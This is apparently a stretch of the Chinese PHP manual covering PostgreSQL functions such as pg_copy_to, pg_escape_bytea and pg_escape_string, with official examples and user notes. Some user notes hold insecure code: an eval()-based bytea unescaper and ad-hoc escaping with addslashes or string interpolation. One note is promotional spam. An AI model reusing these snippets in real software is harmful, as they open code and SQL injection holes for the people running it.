8.1.0 | 现在 connection 参数接受 PgSql\Connection 实例，之前接受 resource。

示例

Example #1 pg_copy_from() 示例

<?php
$db = pg_connect("dbname=publisher") or die("Could not connect");

$rows = pg_copy_to($db, $table_name);

pg_query($db, "DELETE FROM $table_name");

pg_copy_from($db, $table_name, $rows);
?>

参见

  • pg_copy_to() - 将表复制到数组

User Contributed Notes

Rainer Perske 08-Jan-2023 09:25
To solve the problem of how many backslashes to use for the parameters $separator and $null_as: The backslashes are interpreted twice, first by PHP and then by PostgreSQL. So write four backslashes to indicate one backslash in the input data. So both '\\\\N' and as "\\\\N" become NULL AS E'\\N' meaning the same as NULL AS '\N' in the internally used SQL statement.

The loaded input data must be backslash-escaped. According to the PostgreSQL documentation, you can use the following escape sequences:

\\ = Backslash (ASCII 92)
\b = Backspace (ASCII 8)
\t = Tab (ASCII 9)
\n = Newline (ASCII 10)
\v = Vertical tab (ASCII 11)
\f = Form feed (ASCII 12)
\r = Carriage return (ASCII 13)
\000 (Backslash followed by one to three octal digits) = the byte with that numeric code
\x00 (Backslash x followed by one or two hex digits) = the byte with that numeric code

With the default setting, a data field containing only \N (one non-escaped backslash and an N) indicates a NULL value. This default value \N has been chosen because it does not collide with properly encoded data.
smcbride at msn dot com 29-Jul-2020 05:03
When using this function, don't get bit by the double quote (") vs. single quote (') differences.  It is a small thing, but the error messaging is misleading.  If you use a single quote, you will see the \t separated values all try to be inserted into the first field.

Small consideration, but will save someone who is working late and can't get these functions to work.
karlo dot petravic at hotmail dot com 02-Jul-2019 08:20
As table name you can also specify columns you want imported.

Will import all columns:
<?php
pg_copy_from($db, 'cpm.ics', $rows);
?>

Will import only specified columns:
<?php
pg_copy_from($db, 'cpm.ics (type, product, date, count, amount)', $rows);
?>
Dave 25-Feb-2014 08:26
Default is "\\\N" not "\\N" at least in php 5.4

pg_copy_from($db, $table_name, "\t", "\\\N")
Dave 26-Jan-2012 10:40
As of postgresql 9.1 "standard_conforming_strings" is set to on

This will not work anymore
<?php
$copy_message = "1\t\\N\t300";
pg_copy_from($db, "message", $copy_message);
?>
result will be a "N" in that field. if the field allow text that is else it will fail to insert the post.

simple fix
<?php
$copy_message = "1\t\\NULL\t300";
pg_copy_from($db, "message", $copy_message, "\t","\\NULL");
?>
Dave 18-Feb-2011 02:39
Fix for "Copy command failed: ERROR: literal carriage return
found in data" or
"Copy command failed: ERROR: missing data for column
"message" CONTEXT: COPY message, line 1:"

<?php
$message = "HEJ\rHEJ\nHEJ\r\nHEJ\n\rHEJ\tHELLO\\";

$message = addslashes($message);

$message = str_replace(
  array("\n","\r","\t"),
  array("\\n","\\r","\\t"),
  $message);

$copy_message = "1\t". $message ."\t300";

pg_copy_from($db, "message", $copy_message);
?>
Anonymous 11-Jun-2009 03:08
see also: pg_put_line for a solution that does not require buffering of all the data to be copied,
kapouer_php at melix dot org 26-Aug-2007 02:24
pg syntax is :
COPY test (cola, colb, colc) FROM stdin;
...

this function doesn't let you in which order the columns are !
vlad at php dot net 19-Mar-2003 01:38
By default NULL values are a backslash followed with capital N ("\\N").

Also, you can't insert entries with OIDs (I've added it to my TODO list though)
carl at thep.lu.se 10-Sep-2002 03:06
Something needs to be said about the format of the array.
Judging by what I've seen, it's pretty much what you get
from loading a tab-separated file with file(). That is, the
lines are linefeed-terminated and there's no need to have
an extra line with "\.". On the other hand, when I try using this
command the connection to the server ends up in some odd
state and is then lost:
PHP Warning:  U?S?o() query failed: server closed the connection unexpectedly

I think it might be safer to use the lower-level function
pg_put_line() for now.


将表复制到数组

  • ? pg_copy_from
  • pg_dbname ?
  • PHP Manual
  • PostgreSQL 函数
  • 将表复制到数组

pg_copy_to

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_copy_to — 将表复制到数组

说明

pg_copy_to(
PgSql\Connection $connection,
string $table_name,
string $separator = "\t",
string $null_as = "\\\\N"
): array|false

pg_copy_to() 将表复制到数组。在内部发出 COPY TO 命令来检索记录。

参数

connection

PgSql\Connection 实例。

table_name

从表中将数据复制到 rows 中的表名。

separator

rows 的每个元素分割为每个字段的值的标记。默认为 \t。

null_as

SQL NULL 值在 rows 中的表示方式。默认为 \\N（"\\\\N"）。

返回值

COPY 数据的每一行都作为一个元素组成的 array， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | 现在 connection 参数接受 PgSql\Connection 实例，之前接受 resource。

示例

Example #1 pg_copy_to() 示例

<?php
$db = pg_connect("dbname=publisher") or die("Could not connect");

$rows = pg_copy_to($db, $table_name);

pg_query($db, "DELETE FROM $table_name");

pg_copy_from($db, $table_name, $rows);
?>

参见

  • pg_copy_from() - 将数组中的记录插入到表

User Contributed Notes

John M 12-Aug-2020 05:41
Worth noting here that just like the COPY TO statement in PostgreSQL, '$table_name' can include a list of columns or be a select query as well.
e.g.:
$rows = pg_copy_to($db,'schema."TableName" (column1, column2, ...)';
$rows = pg_copy_to($db,'(SELECT ...)');
etiger13 at gmail dot com 17-Nov-2009 11:14
You cannot specify the schema name in this command. You can change the search path for just one query by using the following code:

<?php
pg_query($conn, "SET search_path TO myschema;");

$copy_to = pg_copy_to($conn, 'tablename');

pg_query("RESET search_path;");
?>
setantae at submonkey dot net 27-Nov-2002 10:50
"It issues COPY TO SQL command internally to insert records"

I suspect this statement is incorrect, or that s/insert/retrieve/ is appropriate.


获取数据库名称

  • ? pg_copy_to
  • pg_delete ?
  • PHP Manual
  • PostgreSQL 函数
  • 获取数据库名称

pg_dbname

(PHP 4, PHP 5, PHP 7, PHP 8)

pg_dbname — 获取数据库名称

说明

pg_dbname(?PgSql\Connection $connection = null): string

pg_dbname() 返回指定 PostgreSQL connection 实例的数据库名称。

参数

connection

An PgSql\Connection instance. When connection is null, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

Warning

As of PHP 8.1.0, using the default connection is deprecated.

返回值

包含 connection 到的数据库名称的 string。

更新日志

版本 | 说明
8.1.0 | 现在 connection 参数接受 PgSql\Connection 实例，之前接受 resource。
8.0.0 | connection 可以为 null。

示例

Example #1 pg_dbname() 示例

<?php
error_reporting(E_ALL);

pg_connect("host=localhost port=5432 dbname=mary");
echo pg_dbname(); // mary
?>

User Contributed Notes

mark at redbrick dot dcu dot ie 24-Mar-2003 12:37
This function is as simple as it sounds, it returns the name of the database your are currently connected to on the handle retrieved from a pg_connect() call.

<?php
    $pgsql_conn = pg_connect("dbname=mark host=localhost");

    if ($pgsql_conn) {
        print "Successfully connected to database: " . pg_dbname($pgsql_conn) .
         " on " .  pg_host($pgsql_conn) . "<br/>\n";
    } else {
        print pg_last_error($pgsql_conn);
        exit;
    }
?>

[mark@prodigy][*][~/public_html/php]>>>php pg_dbname.php
Content-type: text/html
X-Powered-By: PHP/4.3.1

Successfully connected to database: mark on localhost<br/>

Again this function is much more useful when you are changing which database you are connected to in your program.

Regards,  --mark


删除记录

  • ? pg_dbname
  • pg_end_copy ?
  • PHP Manual
  • PostgreSQL 函数
  • 删除记录

pg_delete

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

pg_delete — 删除记录

说明

pg_delete(
PgSql\Connection $connection,
string $table_name,
array $conditions,
int $flags = PGSQL_DML_EXEC
): string|bool

pg_delete() 从 conditions 中的键和值指定的表中删除记录。

如果指定 flags，则 pg_convert() 应用于具有指定 flag 的 conditions。

默认 pg_delete() 传递原始值。值必须转义或者 flags 必须指定 PGSQL_DML_ESCAPE flag。PGSQL_DML_ESCAPE 引用并转义参数/标识符。因此，table/column 名称变为区分大小写。

注意转义和预处理查询都不能保护 LIKE 查询、JSON、Array、Regex 等，这些参数要根据上下文来处理。即转义/验证值。

参数

connection

PgSql\Connection 实例。

table_name

要从中删除行的表名。

conditions

array，其键为表 table_name 中的字段名，其值为要删除的那些字段的值。

flags

任意数量 PGSQL_CONV_FORCE_NULL、PGSQL_DML_NO_CONV、PGSQL_DML_ESCAPE、PGSQL_DML_EXEC、PGSQL_DML_ASYNC 或 PGSQL_DML_STRING 的组合。如果 PGSQL_DML_STRING 是 flags 的一部分，则返回查询字符串。当设置 PGSQL_DML_NO_CONV 或 PGSQL_DML_ESCAPE 时，不会在内部调用 pg_convert()。

返回值

成功时返回 true， 或者在失败时返回 false。如果通过 flags 传递 PGSQL_DML_STRING，则返回 string。

更新日志

版本 | 说明
8.1.0 | 现在 connection 参数接受 PgSql\Connection 实例，之前接受 resource。

示例

Example #1 pg_delete() 示例

<?php
$db = pg_connect('dbname=foo');
// 因为转义了所有的值，所以在某种程度上是安全的。
// 然而 PostgreSQL 支持
// JSON/Array。无论是转义还是预处理都不安全。
$res = pg_delete($db, 'post_log', $_POST, PG_DML_ESCAPE);
if ($res) {
echo "POST data is deleted: $res\n";
} else {
echo "User must have sent wrong inputs\n";
}
?>

参见

  • pg_convert() - 将关联的数组值转换为适合 SQL 语句的格式

User Contributed Notes

27-Apr-2004 03:47
One should take care when checking the return value.
0 == false which is not equal with failed delete.

if(!$res)
  echo "Nothing was deleted";


与 PostgreSQL 后端同步

  • ? pg_delete
  • pg_escape_bytea ?
  • PHP Manual
  • PostgreSQL 函数
  • 与 PostgreSQL 后端同步

pg_end_copy

(PHP 4 >= 4.0.3, PHP 5, PHP 7, PHP 8)

pg_end_copy — 与 PostgreSQL 后端同步

说明

pg_end_copy(?PgSql\Connection $connection = null): bool

pg_end_copy() 在处理完 pg_put_line() 所执行的拷贝操作之后将 PostgreSQL 前端（通常为 web server 进程）与 PostgreSQL 服务器进行同步。pg_end_copy() 必须被调用，否则 PostgreSQL 服务器可能会和前端失去同步并报错。

参数

connection

An PgSql\Connection instance. When connection is null, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

Warning

As of PHP 8.1.0, using the default connection is deprecated.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | 现在 connection 参数接受 PgSql\Connection 实例，之前接受 resource。
8.0.0 | connection 现在可以为 null。

示例

Example #1 pg_end_copy() 示例

<?php
$conn = pg_pconnect("dbname=foo");
pg_query($conn, "create table bar (a int4, b char(16), d float8)");
pg_query($conn, "copy bar from stdin");
pg_put_line($conn, "3\thello world\t4.5\n");
pg_put_line($conn, "4\tgoodbye world\t7.11\n");
pg_put_line($conn, "\.\n");
pg_end_copy($conn);
?>

参见

  • pg_put_line() - 向 PostgreSQL 后端发送以 NULL 字符结尾的字符串

User Contributed Notes

There are no user contributed notes for this page.


转义字符串以插入到 bytea 字段

  • ? pg_end_copy
  • pg_escape_identifier ?
  • PHP Manual
  • PostgreSQL 函数
  • 转义字符串以插入到 bytea 字段

pg_escape_bytea

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_escape_bytea — 转义字符串以插入到 bytea 字段

说明

pg_escape_bytea(PgSql\Connection $connection = ?, string $data): string

pg_escape_bytea() 转义 bytea 数据类型的字符串。返回转义后的字符串。

Note:

当 SELECT bytea 类型时，PostgreSQL 返回前缀为"\"的八进制字节值（例如 \032）。用户需要手动转换为二进制格式。

本函数需要 PostgreSQL 7.2 及其更高版本。在 PostgreSQL 7.2.0 和 7.2.1 版中，如果使用了多字节支持，必须强制转换 bytea 类型。即 INSERT INTO test_table (image) VALUES ('$image_escaped'::bytea);，在 PostgreSQL 7.2.2 及其更高版本不需要强制转换。异常情况是当客户端和后端字符编码不匹配时，可能会有多字节流错误。然后用户必须强制转换 bytea 以避免此错误。

参数

connection

An PgSql\Connection instance. When connection is unspecified, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

Warning

As of PHP 8.1.0, using the default connection is deprecated.

data

包含要插入到 bytea 列中的文本或二进制数据的 string。

返回值

包含转义数据的 string。

更新日志

版本 | 说明
8.1.0 | 现在 connection 参数接受 PgSql\Connection 实例，之前接受 resource。

示例

Example #1 pg_escape_bytea() 示例

<?php
// 连接到数据库
$dbconn = pg_connect('dbname=foo');

// 读入二进制文件
$data = file_get_contents('image1.jpg');

// 转义二进制数据
$escaped = pg_escape_bytea($data);

// 将其插入数据库
pg_query("INSERT INTO gallery (name, data) VALUES ('Pine trees', '{$escaped}')");
?>

参见

  • pg_unescape_bytea() - 反转义 bytea 类型的二进制数据
  • pg_escape_string() - 转义字符串以供查询

User Contributed Notes

Hayley Watson 17-Jul-2017 02:56
PostgreSQL 9.0 introduced a new hexadecimal-based representation for bytea data that is preferred over the escaping mechanism implemented by this function.

<?php
function pg_escape_byteahex($binary)
{
    return "E'\\\\x".bin2hex($binary)."'";
}
?>
Michael 12-Mar-2014 03:10
using  pg_escape_bytea without 'E' escape tag
<?php
  // Die Bin?rdaten maskieren
  $escaped = pg_escape_bytea($data);

  // und in die Datenbank einfügen (falsch/wrong)
  pg_query("INSERT INTO gallery (name, data) VALUES ('Pine trees', E'$escaped')");

  // und in die Datenbank einfügen (richtig/right)
  pg_query("INSERT INTO gallery (name, data) VALUES ('Pine trees', '$escaped')");
?>
Mike-RaWare 08-Jul-2010 02:03
To prevent any problems with encoding you could use hexadecimal or base64 input to save and retrieve data to the database:

<?php
  // Connect to the database
  $dbconn = pg_connect( 'dbname=foo' );

  // Read in a binary file
  $data = file_get_contents( 'image1.jpg' );

  // Escape the binary data
  $escaped = bin2hex( $data );

  // Insert it into the database
  pg_query( "INSERT INTO gallery (name, data) VALUES ('Pine trees', decode('{$escaped}' , 'hex'))" );

  // Get the bytea data
  $res = pg_query("SELECT encode(data, 'base64') AS data FROM gallery WHERE name='Pine trees'");
  $raw = pg_fetch_result($res, 'data');

  // Convert to binary and send to the browser
  header('Content-type: image/jpeg');
  echo base64_decode($raw);
?>
gglockner AT NOSPAMdwaffler DOT com 17-Jul-2009 02:13
If you're getting errors about nonstandard use of \\ in a string literal, then you need to escape the encoded bytea as follows:

<?php
$escaped = pg_escape_bytea($data);
pg_query("INSERT INTO gallery (name, data) VALUES ('Pine trees', E'$escaped'::bytea)");
?>
ynzhang from lakeheadu of ca 18-Feb-2009 01:44
The reason pg_unescape_bytea() do not exactly reproduce the binary data created by pg_escape_bytea() is because the backslash \ and single quote ' are double escaped by the pg_escape_bytea() function. This will lead to image seems corrupted when retrieve from the bytea field. The proper way to escape&unescape a binary string into a PG bytea field as follow:

<?php
$escaped_data = str_replace(array("\\\\", "''"), array("\\", "'"), pg_escape_bytea($data));
/* and later unescape the escaped data from the bytea field with following to get the original binary data */

$original_data = pg_unescape_bytea($escaped_data));
?>

more details at: http://archives.postgresql.org/pgsql-php/2007-02/msg00014.php
Mocha 07-Aug-2003 05:20
to unescape_bytea use stripcslashes(). If you need to escape bytea and don't have pg_escape_bytea() function then use:

<?php
function escByteA($binData) {
  /**
   * \134 = 92 = backslash, \000 = 00 = NULL, \047 = 39 = Single Quote
   *
   * str_replace() replaces the searches array in order. Therefore, we must
   * process the 'backslash' character first. If we process it last, it'll
   * replace all the escaped backslashes from the other searches that came
   * before.
   */
  $search = array(chr(92), chr(0), chr(39));
  $replace = array('\\\134', '\\\000', '\\\047');
  $binData = str_replace($search, $replace, $binData);
  return $binData;
  //echo "<pre>$binData</pre>";
  //exit;
}
?>
php at tobias dot olsson dot be 17-Aug-2002 09:56
if you need to change back bytea from the db to normal data, this will do that:

<?php
function pg_unescape_bytea($bytea) {
return eval("return \"".str_replace('$', '\\$', str_replace('"', '\\"', $bytea))."\";");
}

// use like this
$rs = pg_query($conn, "SELECT image from images LIMIT 1");
$image = pg_unescape_bytea(pg_fetch_result($rs, 0, 0));
?>

/Tobias


Escape a identifier for insertion into a text field

  • ? pg_escape_bytea
  • pg_escape_literal ?
  • PHP Manual
  • PostgreSQL 函数
  • Escape a identifier for insertion into a text field

pg_escape_identifier

(PHP 5 >= 5.4.4, PHP 7, PHP 8)

pg_escape_identifier — Escape a identifier for insertion into a text field

说明

pg_escape_identifier(PgSql\Connection $connection = ?, string $data): string

pg_escape_identifier() escapes a identifier (e.g. table, field names) for querying the database. It returns an escaped identifier string for PostgreSQL server. pg_escape_identifier() adds double quotes before and after data. Users should not add double quotes. Use of this function is recommended for identifier parameters in query. For SQL literals (i.e. parameters except bytea), pg_escape_literal() or pg_escape_string() must be used. For bytea type fields, pg_escape_bytea() must be used instead.

Note:

This function has internal escape code and can also be used with PostgreSQL 8.4 or less.

参数

connection

An PgSql\Connection instance. When connection is unspecified, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

Warning

As of PHP 8.1.0, using the default connection is deprecated.

data

A string containing text to be escaped.

返回值

A string containing the escaped data.

更新日志

版本 | 说明
8.1.0 | 现在 connection 参数接受 PgSql\Connection 实例，之前接受 resource。

示例

Example #1 pg_escape_identifier() example

<?php
// Connect to the database
$dbconn = pg_connect('dbname=foo');

// Escape the table name data
$escaped = pg_escape_identifier($table_name);

// Select rows from $table_name
pg_query("SELECT * FROM {$escaped};");
?>

参见

  • pg_escape_literal() - Escape a literal for insertion into a text field
  • pg_escape_bytea() - 转义字符串以插入到 bytea 字段
  • pg_escape_string() - 转义字符串以供查询

User Contributed Notes

There are no user contributed notes for this page.


Escape a literal for insertion into a text field

  • ? pg_escape_identifier
  • pg_escape_string ?
  • PHP Manual
  • PostgreSQL 函数
  • Escape a literal for insertion into a text field

pg_escape_literal

(PHP 5 >= 5.4.4, PHP 7, PHP 8)

pg_escape_literal — Escape a literal for insertion into a text field

说明

pg_escape_literal(PgSql\Connection $connection = ?, string $data): string

pg_escape_literal() escapes a literal for querying the PostgreSQL database. It returns an escaped literal in the PostgreSQL format. pg_escape_literal() adds quotes before and after data. Users should not add quotes. Use of this function is recommended instead of pg_escape_string(). If the type of the column is bytea, pg_escape_bytea() must be used instead. For escaping identifiers (e.g. table, field names), pg_escape_identifier() must be used.

Note:

This function has internal escape code and can also be used with PostgreSQL 8.4 or less.

参数

connection

An PgSql\Connection instance. When connection is unspecified, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

Warning

As of PHP 8.1.0, using the default connection is deprecated.

data

A string containing text to be escaped.

返回值

A string containing the escaped data.

更新日志

版本 | 说明
8.1.0 | 现在 connection 参数接受 PgSql\Connection 实例，之前接受 resource。

示例

Example #1 pg_escape_literal() example

<?php
// Connect to the database
$dbconn = pg_connect('dbname=foo');

// Read in a text file (containing apostrophes and backslashes)
$data = file_get_contents('letter.txt');

// Escape the text data
$escaped = pg_escape_literal($data);

// Insert it into the database. Note that no quotes around {$escaped}
pg_query("INSERT INTO correspondence (name, data) VALUES ('My letter', {$escaped})");
?>

参见

  • pg_escape_identifier() - Escape a identifier for insertion into a text field
  • pg_escape_bytea() - 转义字符串以插入到 bytea 字段
  • pg_escape_string() - 转义字符串以供查询

User Contributed Notes

There are no user contributed notes for this page.


转义字符串以供查询

  • ? pg_escape_literal
  • pg_execute ?
  • PHP Manual
  • PostgreSQL 函数
  • 转义字符串以供查询

pg_escape_string

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_escape_string — 转义字符串以供查询

说明

pg_escape_string(PgSql\Connection $connection = ?, string $data): string

pg_escape_string() 转义用于查询数据库的字符串。它返回不带引号的 PostgreSQL 格式的转义字符串。pg_escape_literal() 是为 PostgreSQL 转义 SQL 参数的首选方法。addslashes() 不得与 PostgreSQL 一起使用。如果列的类型是 bytea，则必须改用 pg_escape_bytea()。pg_escape_identifier() 必须用于转义标识符（例如表名、字段名）

Note:

本函数需要 PostgreSQL 7.2 及其更高版本。

参数

connection

An PgSql\Connection instance. When connection is unspecified, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

Warning

As of PHP 8.1.0, using the default connection is deprecated.

data

包含要转义的 string。

返回值

包含转义数据的 string。

更新日志

版本 | 说明
8.1.0 | 现在 connection 参数接受 PgSql\Connection 实例，之前接受 resource。

示例

Example #1 pg_escape_string() 示例

<?php
// 连接到数据库
$dbconn = pg_connect('dbname=foo');

// 读入文本文件（包含撇号和反斜线）
$data = file_get_contents('letter.txt');

// 转义文本数据
$escaped = pg_escape_string($data);

// 将其插入数据库
pg_query("INSERT INTO correspondence (name, data) VALUES ('My letter', '{$escaped}')");
?>

参见

  • pg_escape_bytea() - 转义字符串以插入到 bytea 字段

User Contributed Notes

efjiolvwejlojfwel at mailinator dot com 14-Dec-2017 01:36
Please, as a service to the Internet, add a note advising developers to use prepared statements and placeholders, and deprecate this function and its friends (but not pg_escape_identifier).
There is no valid reason to mix data and SQL into a single string before sending it to the RDBMS, and thus create the potential for SQL injection vulnerabilities. Hence, there is no need to escape data. Hence, there is no need for this function. It's confusing to offer developers functionality that they don't need and shouldn't use.
arunintellirise at gmail dot com 10-Oct-2017 06:30
PostgreSQL is a powerful and an open source object relational database having more than 15 years of active development and a proven architecture with an emphasis on extensibility and standards compliance. PostgreSQL primary functions are to store data securely and return that data in response to requests from other software applications that has earned it a strong reputation for reliability, data integrity and correctness which runs on all major operating system including Linux, UNIX and Windows. PostgreSQL is a cross platform which is open source and its source code is available free of charge that is not controlled by any corporation or other private entity. PostgreSQL also supports storage of binary large objects including picture, sound or video along with handles workloads ranging from small single machine applications to large internet facing applications with lots of concurrent users-. PostgreSQL is highly scalable in the sheer quantity of data which support international character sets and multibyte character encodings.
if you know more aboutthis note then please visit on our website.
https://www.codesroom.com/blog/postgresql
ringerc at ringerc dot id dot au 25-Feb-2014 07:54
You should prefer to use pg_query_params, i.e. use parameterized queries, rather than using pg_escape_string. Or use the newer PDO interface with its parameterized query support.

If you must substitute values directly, e.g. in DDL commands that don't support execution as parameterized queries, do so with pg_escape_literal:

http://au1.php.net/manual/en/function.pg-escape-literal.php

Identifiers can't be used as query parameters. Always use pg_escape_identifier for these if they're substituted dynamically:

http://au1.php.net/manual/en/function.pg-escape-identifier.php

You should not need to change text encodings when using this function. Make sure your connection's client_encoding is set to the text encoding used by PHP, and the PostgreSQL client driver will take care of text encodings for you. No explicit utf-8 conversions should be necessary with a correctly set  client_encoding.
strata_ranger at hotmail dot com 07-Aug-2011 08:20
This may seem obvious, but remember that pg_escape_string escapes values for use as string literals in an SQL query -- if you need to escape arbitrary strings for use as SQL identifiers (column names, etc.), there doesn't seem to be a PHP function for that so you'll have to do that escaping yourself.  (PostgreSQL has an in-database function, quote_ident(), that does this.)

This can be an issue if your database contains mixed-case (or otherwise unusual) column names and you have a class interface managing your database/query interactions (for connecting to different types of databases).  If you don't double-quote your column names then postgreSQL will match them case-insensitively, but will label the results in all-lowercase (which differs from MySQL).

For example:

<?php
// Plain column identifier
$res = pg_query("Select columnName from table");
$row = pg_fetch_assoc($res);

var_dump($row['columnName']); // Doesn't work (throws E_NOTICE)
var_dump($row['columnname']); // Works

// Escaped column identifier
$res = pg_query("Select \"columnName\" from table");
$row = pg_fetch_assoc($res);

var_dump($row['columnName']); // Works
var_dump($row['columnname']); // Doesn't
?>
ppp 30-Jun-2011 12:55
pg_escape_string() won't cast array arguments to the "Array" string like php usually does; it returns NULL instead. The following statements all evaluate to true:

<?php
$a = array('foo', 'bar');

"$a" == 'Array';
(string)$a == 'Array';
$a . '' == 'Array';

is_null(pg_escape_string($a));
?>
strata_ranger at hotmail dot com 22-Jul-2010 10:40
Forthose curious, the exact escaping performed on the string may vary slightly depending on your database configuration.

For example, if your database's standard_conforming_strings variable is OFF, backslashes are treated as a special character and pg_escape_string() will ensure they are properly escaped.  If this variable is ON, backslashes will be treated as ordinary characters, and pg_escape_string() will leave them as-is.  In either case, the behavior matches the configuration of the database connection.
Nathan Bruer 08-Feb-2008 01:23
If your database is a UTF-8 database, you will run into problems trying to add some data into your database...

for securty issues and/or compatability you may need to use the: utf_encode() (http://php.net/utf8-encode) function.

for example:
<?php
$my_data = pg_escape_string(utf8_encode($_POST['my_data']));
?>
Gautam Khanna 29-Aug-2007 07:55
Security methods which you use depend on the specific purpose. For those who dont know, take a look at the following built-in PHP functions:

strip_tags()            to remove HTML characters
(also see htmlspecialchars)

escapeshellarg()      to escape shell commands etc
escapeshellcmd()

mysql_real_escape_string()     to escape mySQL commands.

Enjoy!

web dot expert dot panel at gmail dot com
johniskew2 at yahoo dot com 30-May-2006 09:43
For those who escape their single quotes with a backslash (ie \') instead of two single quotes in a row (ie '') there has recently been a SERIOUS sql injection vulnerability that can be employed taking advantage of your chosen escaping method.  More info here: http://www.postgresql.org/docs/techdocs.50
Even after the postgre update, you may still be limited to what you can do with your queries if you still insist on backslash escaping. It's a lesson to always use the PHP functions to do proper escaping instead of adhoc addslashes or magic quotes escaping.
meng 27-May-2006 04:21
Since php 5.1 the new function pg_query_params() was introduced. With this function you can use bind variables and don't have to escape strings. If you can use it, do so. If unsure why, check the changelog for Postgres 8.0.8.
otix 24-Apr-2006 03:43
Creating a double-tick is just fine. It works the same as the backslash-tick syntax. From the PostgreSQL docs:

The fact that string constants are bound by single quotes presents an obvious semantic problem, however, in that if the sequence itself contains a single quote, the literal bounds of the constant are made ambiguous. To escape (make literal) a single quote within the string, you may type two adjacent single quotes. The parser will interpret the two adjacent single quotes within the string constant as a single, literal single quote. PostgreSQL will also allow single quotes to be embedded by using a C-style backslash.


Sends a request to execute a prepared statement with given parameters, and waits for the result

  • ? pg_escape_string
  • pg_fetch_all_columns ?
  • PHP Manual
  • PostgreSQL 函数
  • Sends a request to execute a prepared statement with given parameters, and waits for the result

pg_execute

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

pg_execute — Sends a request to execute a prepared statement with given parameters, and waits for the result

说明

pg_execute(PgSql\Connection $connection = ?, string $stmtname, array $params): PgSql\Result|false

Sends a request to execute a prepared statement with given parameters, and waits for the result.

pg_execute() is like pg_query_params(), but the command to be executed is specified by naming a previously-prepared statement, instead of giving a query string. This feature allows commands that will be used repeatedly to be parsed and planned just once, rather than each time they are executed. The statement must have been prepared previously in the current session. pg_execute() is supported only against PostgreSQL 7.4 or higher connections; it will fail when using earlier versions.

The parameters are identical to pg_query_params(), except that the name of a prepared statement is given instead of a query string.

参数

connection

An PgSql\Connection instance. When connection is unspecified, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

Warning

As of PHP 8.1.0, using the default connection is deprecated.

stmtname

The name of the prepared statement to execute. if "" is specified, then the unnamed statement is executed. The name must have been previously prepared using pg_prepare(), pg_send_prepare() or a PREPARE SQL command.

params

An array of parameter values to substitute for the $1, $2, etc. placeholders in the original prepared query string. The number of elements in the array must match the number of placeholders.

Warning

Elements are converted to strings by calling this function.

返回值

An PgSql\Result instance on success, 或者在失败时返回 false.

更新日志

版本 | 说明
8.1.0 | 现在返回 PgSql\Result 实例，之前返回 resource
8.1.0 | 现在 connection 参数接受 PgSql\Connection 实例，之前接受 resource。

示例

Example #1 Using pg_execute()

<?php
// Connect to a database named "mary"
$dbconn = pg_connect("dbname=mary");

// Prepare a query for execution
$result = pg_prepare($dbconn, "my_query", 'SELECT * FROM shops WHERE name = $1');

// Execute the prepared query. Note that it is not necessary to escape
// the string "Joe's Widgets" in any way
$result = pg_execute($dbconn, "my_query", array("Joe's Widgets"));

// Execute the same prepared query, this time with a different parameter
$result = pg_execute($dbconn, "my_query", array("Clothes Clothes Clothes"));

?>

参见

  • pg_prepare() - Submits a request to create a prepared statement with the given parameters, and waits for completion
  • pg_send_prepare() - Sends a request to create a prepared statement with the given parameters, without waiting for completion
  • pg_query_params() - Submits a command to the server and waits for the result, with the ability to pass parameters separately from the SQL command text

User Contributed Notes

There are no user contributed notes for this page.


Fetches all rows in a particular result column as an array

  • ? pg_execute
  • pg_fetch_all ?
  • PHP Manual
  • PostgreSQL 函数
  • Fetches all rows in a particular result column as an array

pg_fetch_all_columns

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

pg_fetch_all_columns — Fetches all rows in a particular result column as an array

说明

pg_fetch_all_columns(PgSql\Result $result, int $field = 0): array

pg_fetch_all_columns() returns an array that contains all rows (records) in a particular column of the PgSql\Result instance.

Note: 此函数将 NULL 字段设置为 PHP null 值。

参数

result

PgSql\Result 实例，由 pg_query()、pg_query_params() 或者 pg_execute()（等）返回。

field

Column number. Defaults to the first column if not specified.

返回值

An array with all values in the result column.

更新日志

版本 | 说明
8.1.0 | 现在 result 参数接受 PgSql\Result 实例，之前接受 resource。

示例

Example #1 pg_fetch_all_columns() example

<?php
$conn = pg_pconnect("dbname=publisher");
if (!$conn) {
echo "An error occurred.\n";
exit;
}

$result = pg_query($conn, "SELECT title, name, address FROM authors");
if (!$result) {
echo "An error occurred.\n";
exit;
}

// Get an array of all author names
$arr = pg_fetch_all_columns($result, 1);

var_dump($arr);

?>

参见

  • pg_fetch_all() - 从结果中获取所有行作为数组

User Contributed Notes

spambin at ya dot ru 21-Nov-2013 11:48
pg_fetch_all_columns() returns array (empty array) even if the result set in empty (while pg_fetch_all() returns FALSE when the result set is empty)

<?
$result = pg_query("
    SELECT 'something'
    WHERE 1 = 2
");
var_dump( pg_fetch_all($result) ); // boolean false
var_dump( pg_fetch_all_columns($result) ); // array(0){}
?>
strata_ranger at hotmail dot com 04-Apr-2009 06:43
Unfortunate that pg_fetch_all_columns() doesn't support fetching a column by its name -- if you want to do that, you'll need to use pg_field_num() as an intermediary:

For example:

<?php

if ($foo)
  $cols = "email_address";

else
  $cols = "last_name, middle_init";

$result = pg_query("Select first_name, $info, birthday from users_table");

// Problem -- does column #2 refer to the 'birthday' or 'middle_init' field?
$array = pg_fetch_all_columns($result, 2);

// Won't work, must use a column number instead of its name
$array = pg_fetch_all_columns($result, 'birthday');

// Works
$array = pg_fetch_all_columns($result, pg_field_num($result, 'birthday'));

?>
massiv at nerdshack dot com 22-Oct-2008 05:56
php 4 equivalent:

<?php
$conn = pg_pconnect("dbname=publisher");
if (!$conn) {
  echo "An error occured.\n";
  exit;
}

$result = pg_query($conn, "SELECT title, name, address FROM authors");
if (!$result) {
  echo "An error occured.\n";
  exit;
}

// Get an array of all author names
$arr = array();
while ($line = pg_fetch_array($result)) {
